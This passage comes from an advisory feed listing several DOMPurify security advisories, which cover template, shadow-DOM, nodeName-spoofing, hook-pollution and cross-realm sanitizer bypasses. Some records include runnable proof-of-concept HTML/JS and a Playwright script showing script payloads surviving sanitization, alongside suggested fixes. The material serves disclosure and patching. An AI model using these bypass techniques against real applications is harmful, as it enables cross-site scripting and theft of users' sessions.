'fail');\n  }\n}\n\n// ── Run all ────────────────────────────────────────────────────────────────\n\nfunction runAll() {\n  document.getElementById('log').innerHTML = '';\n  xssConfirmed = false;\n  document.getElementById('xss-banner').style.display = 'none';\n  log('=== Starting full test run ===', 'info');\n  runPoC1();\n  runPoC2();\n  runPoC3();\n  runControl();\n  log('=== Test run complete ===', 'info');\n}\n\u003c/script\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `\u003ctemplate\u003e.content`:\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n  node.normalize(); // Does NOT normalize inside \u003ctemplate\u003e.content (DOM spec)\n  const walker = createNodeIterator.call(\n    node.ownerDocument || node,\n    node,            // NodeIterator does NOT enter \u003ctemplate\u003e.content\n    NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |\n    NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,\n    null\n  );\n  // Scrubs nodes it finds, but never sees \u003ctemplate\u003e content\n};\n```\n\nThe fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `\u003ctemplate\u003e.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):\n\n```ts\nif (_isDocumentFragment(shadowNode.content)) {\n  _sanitizeShadowDOM(shadowNode.content); // already handles recursion\n}\n```\n\n### Suggested Patch Direction\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n  node.normalize();\n  const walker = createNodeIterator.call( /* existing args */ );\n\n  // ... existing scrub loop ...\n\n  // NEW: recurse into \u003ctemplate\u003e.content, mirroring _sanitizeShadowDOM\n  const templates = (node as Element).querySelectorAll?.('template') ?? [];\n  arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) =\u003e {\n    if (_isDocumentFragment(tmpl.content)) {\n      _scrubTemplateExpressions(tmpl.content as unknown as Element);\n    }\n  });\n};\n```\n\n---\n\n## Impact\n\n**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `\u003ctemplate\u003e` element content.\n\n**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `\u003c%...%\u003e`) into the sanitized DOM output inside `\u003ctemplate\u003e` elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.\n\n### Preconditions for Exploitation\n\n| Precondition | Notes |\n|---|---|\n| `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set |\n| `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set |\n| Template engine processes `\u003ctemplate\u003e.content` | Application-dependent |\n\n### What Is NOT Affected\n\nThe **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067–2071` operates on the serialized HTML string, where the injected expression is visible and stripped:\n\n```ts\n// src/purify.ts:2067 - only runs on string output, not DOM output\nif (SAFE_FOR_TEMPLATES) {\n  arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n    serializedHTML = stringReplace(serializedHTML, expr, ' ');\n  });\n}\n```","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-15T20:02:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr","https://github.com/advisories/GHSA-gvmj-g25r-r7wr"],"source_kind":"github","identifiers":["GHSA-gvmj-g25r-r7wr","CVE-2026-65900"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.609Z","updated_at":"2026-08-06T13:01:32.857Z","epss_percentage":0.0018,"epss_percentile":0.07893,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndm1qLWcyNXItcjd3cs4ABYr6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ndm1qLWcyNXItcjd3cs4ABYr6","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.8","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 3.4.7"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndm1qLWcyNXItcjd3cs4ABYr6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycDl3LTNmdzctN2N3cc4ABYr5","url":"https://github.com/advisories/GHSA-rp9w-3fw7-7cwq","title":"DOMPurify IN_PLACE Sanitization Bypass via Attached Shadow Root Inside \u003ctemplate\u003e.content","description":"If the HTML you give it contains a \u003ctemplate\u003e element, and inside that template there's an element with a shadow DOM attached to it, DOMPurify quietly skips over the shadow contents. Whatever the attacker put in there - an image with an onerror handler, a link with a javascript: URL, even a full script - survives untouched. The moment the application uses that template the way templates are meant to be used (cloning it and inserting the result into the page), the malicious payload comes along and runs as if it had never been sanitized. From there an attacker gets everything XSS normally gets them: session cookies, stored tokens, the ability to act as the user, and the ability to leave persistent payloads behind for the next person who visits.\n\n[advisory.pdf](https://github.com/user-attachments/files/28275600/advisory.pdf)\n\n[poc.html](https://github.com/user-attachments/files/28275708/poc.html)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T20:01:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-rp9w-3fw7-7cwq","https://github.com/advisories/GHSA-rp9w-3fw7-7cwq"],"source_kind":"github","identifiers":["GHSA-rp9w-3fw7-7cwq","CVE-2026-49978"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.609Z","updated_at":"2026-08-06T13:01:32.857Z","epss_percentage":0.00334,"epss_percentile":0.25771,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDl3LTNmdzctN2N3cc4ABYr5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycDl3LTNmdzctN2N3cc4ABYr5","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.7","vulnerable_version_range":"\u003c= 3.4.6"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDl3LTNmdzctN2N3cc4ABYr5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14NHZ4LXJqdmYtajVwNM4ABYr4","url":"https://github.com/advisories/GHSA-x4vx-rjvf-j5p4","title":"DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects","description":"## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `\u003cscript\u003e` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.\n\nThis affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.\n\n## Affected\n\n- DOMPurify `3.4.6`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes\n- Verified attacker-controlled node sources:\n  - same-origin `iframe` → live node passed by reference\n  - same-origin `window.open()` popup → live node passed by reference\n  - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place\n\nNot affected:\n\n- String-input `DOMPurify.sanitize(dirtyString)`\n\n## Vulnerability details\n\n### Code paths\n\n[A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:\n\n```ts\nconst _sanitizeElements = function (currentNode: any): boolean {\n  ...\n  if (_isClobbered(currentNode)) {\n    _forceRemove(currentNode);\n    return true;\n  }\n\n  const tagName = transformCaseFunc(currentNode.nodeName);\n  ...\n  if (\n    FORBID_TAGS[tagName] ||\n    (!(...) \u0026\u0026 !ALLOWED_TAGS[tagName])\n  ) {\n    ...\n    _forceRemove(currentNode);\n    return true;\n  }\n  ...\n};\n```\n\nFor non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.\n\n[B] — `_isClobbered` is `form`-specific:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  const realTagName = getNodeName ? getNodeName(element) : null;\n  if (typeof realTagName !== 'string') {\n    return false;\n  }\n\n  if (transformCaseFunc(realTagName) !== 'form') {\n    return false;\n  }\n\n  return (...);\n};\n```\n\nThe hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.\n\n### Why the bypass works\n\nThe attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline.\n\nIf the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.\n\nFor the verified primitive below:\n\n- the real child node is `\u003cscript\u003e`\n- its script text is attacker-controlled\n- the observable `nodeName` is attacker-controlled and made to appear as `\"DIV\"`\n- `_sanitizeElements` therefore classifies the real `\u003cscript\u003e` child as an allowed element\n- the real `\u003cscript\u003e` survives in the sanitized tree and executes on insertion\n\nThis primitive survives:\n\n- direct reference passing\n- `document.adoptNode(node)` followed by `IN_PLACE`\n\nIt does **not** survive:\n\n- `importNode`\n- `cloneNode`\n\nbecause those paths materialize a fresh node and discard the hostile object semantics.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n  const foreign = window.open('about:blank', '_blank', 'noopener=no');\n\n  const host = foreign.document.createElement('div');\n  const script = foreign.document.createElement('script');\n  script.textContent = 'window.__pwned = 1';\n  Object.defineProperty(script, 'nodeName', {\n    value: 'DIV',\n    configurable: true,\n  });\n  host.appendChild(script);\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  console.log('output:', host.outerHTML);\n  // \u003cdiv\u003e\u003cscript\u003ewindow.__pwned = 1\u003c/script\u003e\u003c/div\u003e\n\n  window.__pwned = 0;\n  document.body.appendChild(host);\n  console.log('handler fired:', window.__pwned === 1); // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end — Playwright\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () =\u003e {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.goto('about:blank');\n  await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n  const result = await page.evaluate(async () =\u003e {\n    window.__hits = [];\n\n    const foreign = window.open('about:blank', '_blank', 'noopener=no');\n    const host = foreign.document.createElement('div');\n    const script = foreign.document.createElement('script');\n    script.textContent = 'top.__hits.push(\"script-fired\")';\n    Object.defineProperty(script, 'nodeName', {\n      value: 'DIV',\n      configurable: true,\n    });\n    host.appendChild(script);\n\n    DOMPurify.sanitize(host, { IN_PLACE: true });\n    document.body.appendChild(host);\n\n    return {\n      version: DOMPurify.version,\n      output: host.outerHTML,\n      fired: window.__hits.includes('script-fired'),\n    };\n  });\n\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n  version: '3.4.6',\n  output: '\u003cdiv\u003e\u003cscript\u003etop.__hits.push(\"script-fired\")\u003c/script\u003e\u003c/div\u003e',\n  fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `\u003cscript\u003e` nodes inside attacker-supplied live DOM objects.\n\nAny consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.\n\nThe typical pattern is:\n\n```js\n// attacker-controlled same-origin subcontext prepares a live node\nconst foreignNode = attackerFrame.contentWindow.makeNode();\n\n// host treats DOMPurify as the last security gate\nDOMPurify.sanitize(foreignNode, { IN_PLACE: true });\ncontainer.appendChild(foreignNode);\n```\n\nIf `foreignNode` is a hostile live DOM object whose real child is `\u003cscript\u003e` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.\n\n### Indirect / second-order\n\n- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step\n- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.\n\nUse the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.\n\nIn other words, the main pipeline should not do:\n\n```ts\nconst tagName = transformCaseFunc(currentNode.nodeName);\n```\n\non hostile live objects.\n\n2. Generalize hostile-node detection beyond `form`.\n\nThe current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:\n\n- `nodeName`\n- `attributes`\n- `childNodes`\n\nEither approach would close the verified primitive above.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-15T20:00:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4","https://github.com/advisories/GHSA-x4vx-rjvf-j5p4"],"source_kind":"github","identifiers":["GHSA-x4vx-rjvf-j5p4","CVE-2026-65901"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.213Z","updated_at":"2026-08-06T13:01:32.858Z","epss_percentage":0.00166,"epss_percentile":0.06252,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NHZ4LXJqdmYtajVwNM4ABYr4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NHZ4LXJqdmYtajVwNM4ABYr4","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.4.6"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NHZ4LXJqdmYtajVwNM4ABYr4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03Nm1jLWY0NTItY3hjbc4ABYr3","url":"https://github.com/advisories/GHSA-76mc-f452-cxcm","title":"DOMPurify: Hook mutation of `data.allowedTags` / `data.allowedAttributes` permanently pollutes `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR`","description":"# Hook mutation of `data.allowedTags` / `data.allowedAttributes` permanently pollutes `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR`\n\n**CWE**: CWE-501 (Trust Boundary Violation — hook-scoped mutation leaks to global default sets) via CWE-693 (Protection Mechanism Failure — the default allow-list is silently widened for all subsequent sanitize calls)\n\n## Summary\n\nThe `data.allowedTags` and `data.allowedAttributes` fields passed to `uponSanitizeElement` and `uponSanitizeAttribute` hooks are **direct references** to the library's live `ALLOWED_TAGS` / `ALLOWED_ATTR` sets. For sanitize calls that don't supply an explicit `cfg.ALLOWED_TAGS` / `cfg.ALLOWED_ATTR` array, those live sets are themselves direct references to the module-level `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR` constants. A hook that mutates these fields — a natural-looking pattern for \"allow `X` for this iteration\" — permanently writes new entries into the default constants for the DOMPurify instance's lifetime. Every subsequent sanitize call that doesn't override the config inherits the widened defaults, so an attacker payload that uses the poisoned tag/attribute name survives sanitization. `removeAllHooks()`, `clearConfig()`, and even passing a fresh `cfg: {}` do not recover; only constructing a new DOMPurify instance does.\n\nThe maintainer's existing defense at `src/purify.ts:696-700` explicitly clones `DEFAULT_ALLOWED_TAGS` before mutating it via `cfg.ADD_TAGS` (array form), demonstrating awareness of this exact class. The hook path remained uncovered.\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `7996f1dc78eb8b7922388aed75d94a9f8fad9a36`\n- Any application that installs a hook on `uponSanitizeElement` or `uponSanitizeAttribute` that writes to `data.allowedTags[...] = true` or `data.allowedAttributes[...] = true` and later sanitizes attacker-influenced content with default config (no explicit `cfg.ALLOWED_TAGS` / `cfg.ALLOWED_ATTR` array)\n\n## Vulnerability details\n\n### [A] — `data.allowedTags` is a reference to `ALLOWED_TAGS`\n\n`src/purify.ts:1206-1209`:\n\n```ts\n_executeHooks(hooks.uponSanitizeElement, currentNode, {\n  tagName,\n  allowedTags: ALLOWED_TAGS,         // [A] direct reference; hook mutation\n                                      //     mutates the very ALLOWED_TAGS the\n                                      //     library checks on the next element\n});\n```\n\n`src/purify.ts:1494-1500` (the matching attribute hook):\n\n```ts\nconst hookEvent = {\n  attrName: '',\n  attrValue: '',\n  keepAttr: true,\n  allowedAttributes: ALLOWED_ATTR,    // [A'] same pattern\n  forceKeepAttr: undefined,\n};\n```\n\n### [B] — `ALLOWED_TAGS = DEFAULT_ALLOWED_TAGS` for default-cfg sanitize calls\n\n`src/purify.ts:527-531`:\n\n```ts\nALLOWED_TAGS =\n  objectHasOwnProperty(cfg, 'ALLOWED_TAGS') \u0026\u0026\n  arrayIsArray(cfg.ALLOWED_TAGS)\n    ? addToSet({}, cfg.ALLOWED_TAGS, transformCaseFunc)\n    : DEFAULT_ALLOWED_TAGS;            // [B] reference assignment; ALLOWED_TAGS\n                                       //     IS the DEFAULT_ALLOWED_TAGS object\n```\n\n(The `ALLOWED_ATTR = DEFAULT_ALLOWED_ATTR` path at `:532-536` is symmetric.)\n\n### The mismatch\n\nA hook author who writes `data.allowedTags['script'] = true` reasonably expects per-call scope — the API name is *\"data\"*, suggesting per-event payload. But [A] makes this a direct reference, and [B] makes that reference equal to the module-level default for the common default-cfg path. The hook's mutation therefore writes to a *constant* that every subsequent default-cfg sanitize call rebinds to.\n\nThe maintainer already recognized this class for the `ADD_TAGS` array path — `src/purify.ts:696-700`:\n\n```ts\n} else if (arrayIsArray(cfg.ADD_TAGS)) {\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);   // explicitly clone DEFAULT before\n                                          // mutating to avoid this pollution\n  }\n  addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);\n}\n```\n\nThe same defensive clone is missing from the hook code paths.\n\n## Proof of concept\n\n```js\n// 1) fresh DOMPurify, default config — script is blocked\nDOMPurify.sanitize('\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e');\n// → \"\u003csvg\u003e\u003c/svg\u003e\"\n\n// 2) install a hook that mutates data.allowedTags (natural-looking pattern)\nDOMPurify.addHook('uponSanitizeElement', (node, data) =\u003e {\n  data.allowedTags['script'] = true;\n});\n\n// 3) one sanitize call WITH the hook — script survives (expected during the hook)\nDOMPurify.sanitize('\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e');\n// → \"\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\"\n\n// 4) remove the hook\nDOMPurify.removeAllHooks();\nDOMPurify.clearConfig();\n\n// 5) sanitize attacker content with default config — POLLUTION PERSISTS\nDOMPurify.sanitize('\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e');\n// → \"\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\"  ← script survived without any hook\n\n// 6) the only recovery: create a fresh DOMPurify instance\nconst fresh = DOMPurify(window);\nfresh.sanitize('\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e');\n// → \"\u003csvg\u003e\u003c/svg\u003e\"  ← clean\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify HEAD `7996f1d`):\n\n| step | input | output | bypass? |\n|---|---|---|---|\n| 1 fresh baseline | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | `\u003csvg\u003e\u003c/svg\u003e` | no |\n| 1b fresh baseline | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca\u003ex\u003c/a\u003e` | no |\n| 2 with hook (script) | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | yes (expected) |\n| 2b with hook (onclick) | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | yes (expected) |\n| 3 after `removeAllHooks()` | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES (pollution)** |\n| 3b after `removeAllHooks()` | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES (pollution)** |\n| 4 after `clearConfig()` | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES** |\n| 4b after `clearConfig()` | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES** |\n| 5 explicit restrictive `cfg.ALLOWED_TAGS=['svg']` | same | `\u003csvg\u003e\u003c/svg\u003e` | no (cloned set) |\n| 6 back to no cfg | same | `\u003csvg\u003e\u003cscript\u003e__\u003c/script\u003e\u003c/svg\u003e` | **YES** |\n| 6b back to no cfg | same | `\u003ca onclick=\"__\"\u003ex\u003c/a\u003e` | **YES** |\n| 7 fresh `DOMPurify(window)` instance | same | `\u003csvg\u003e\u003c/svg\u003e` | no |\n| 7b fresh instance | `\u003ca onclick=__\u003ex\u003c/a\u003e` | `\u003ca\u003ex\u003c/a\u003e` | no |\n\n## Impact\n\n### Direct\n\nAny application using `DOMPurify` that has any registered hook with the pattern `data.allowedTags[...] = true` or `data.allowedAttributes[...] = true`. The hook need not be designed to be permissive — it might be intended to *temporarily* allow a custom tag for one specific element shape. After the hook has executed even once, every subsequent default-config sanitize call carries the widened defaults, including:\n\n- attacker content rendered via separate code paths (e.g., the same library serving a comments section and a profile bio, where the bio uses the hook and the comments use plain `DOMPurify.sanitize(text)`)\n- third-party libraries that call `DOMPurify.sanitize` on the same instance\n\nThe bypass survives `DOMPurify.removeAllHooks()` and `DOMPurify.clearConfig()` — the obvious \"reset\" calls a dev would reach for. Detection requires reading the `DEFAULT_ALLOWED_TAGS` / `DEFAULT_ALLOWED_ATTR` sets directly, which are not part of the public API.\n\n### Indirect / second-order\n\n- **Editor / preview libraries** that compose with DOMPurify — if any consumer registers a hook that mutates `data.allowedTags`, every other consumer's sanitize calls inherit the widening.\n- **Test suites** that exercise multiple sanitize configurations — once a test's hook pollutes the defaults, later tests that assume default behavior may pass with widened defaults and miss real regressions.\n- **Long-running servers** (SSR, edge functions) that reuse a single DOMPurify instance — pollution accumulates over the process lifetime.\n\n### Why the existing maintainer defense for `ADD_TAGS` doesn't catch this\n\n`src/purify.ts:696-700` already documents awareness:\n\n```ts\n} else if (arrayIsArray(cfg.ADD_TAGS)) {\n  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS) {\n    ALLOWED_TAGS = clone(ALLOWED_TAGS);\n  }\n  addToSet(ALLOWED_TAGS, cfg.ADD_TAGS, transformCaseFunc);\n}\n```\n\nThe clone-before-mutate pattern is exactly what's needed at the hook callsites (`:1206-1209` and `:1494-1500`) but was not extended there. The new entries this report's bypass adds to the defaults survive the same way `ADD_TAGS` array entries would have survived before that fix landed.\n\n## Suggested fix\n\nThree minimal-impact options, in order of preference:\n\n1. **Hand the hook a defensive copy** (most surgical):\n\n   ```ts\n   _executeHooks(hooks.uponSanitizeElement, currentNode, {\n     tagName,\n     allowedTags: { ...ALLOWED_TAGS },     // shallow copy; mutations stay scoped\n   });\n   ```\n\n   Doc note: \"`data.allowedTags` is a snapshot; to widen the live set, use `cfg.ADD_TAGS` or set the value to true in the snapshot and check the snapshot from a subsequent attribute hook.\" Hooks that read it for inspection still work; hooks that intended cross-call mutation must be rewritten to use a proper config path (which is the correct API anyway).\n\n2. **Clone-on-write inside the hook path**, mirroring the existing `ADD_TAGS` defense at `:696-700`: detect that `ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS` after the hook returns, and if so, replace it with a clone for subsequent processing. This preserves the live-mutation semantics for in-call effects while preventing cross-call leakage.\n\n3. **Lazy-clone `ALLOWED_TAGS`/`ALLOWED_ATTR` from defaults on first mutation**: install a Proxy or accessor that triggers a clone before mutation. Largest surface area, but bulletproof.\n\nOption (1) is the cleanest API contract: hook event objects should be event-local, never references to library-internal state.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:59:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-76mc-f452-cxcm","https://github.com/advisories/GHSA-76mc-f452-cxcm"],"source_kind":"github","identifiers":["GHSA-76mc-f452-cxcm","CVE-2026-65902"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.213Z","updated_at":"2026-08-06T13:01:32.858Z","epss_percentage":0.0021,"epss_percentile":0.11352,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Nm1jLWY0NTItY3hjbc4ABYr3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03Nm1jLWY0NTItY3hjbc4ABYr3","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.7","vulnerable_version_range":"\u003c 3.4.7"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03Nm1jLWY0NTItY3hjbc4ABYr3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocGN2LTk2d2ctN3ZqOM4ABYr2","url":"https://github.com/advisories/GHSA-hpcv-96wg-7vj8","title":"DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks","description":"# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `\u003ctemplate\u003e`'s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created `\u003ciframe srcdoc\u003e`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer's own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`'s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] — `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  return (\n    element instanceof HTMLFormElement \u0026\u0026    // [A] realm-bound — false for any\n                                              //     iframe-realm \u003cform\u003e element\n    (typeof element.nodeName !== 'string' ||\n      typeof element.textContent !== 'string' ||\n      typeof element.removeChild !== 'function' ||\n      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound\n      typeof element.removeAttribute !== 'function' ||\n      typeof element.setAttribute !== 'function' ||\n      typeof element.namespaceURI !== 'string' ||\n      typeof element.insertBefore !== 'function' ||\n      typeof element.hasChildNodes !== 'function' ||\n      !(element.childNodes \u0026\u0026 typeof element.childNodes.length === 'number'))\n 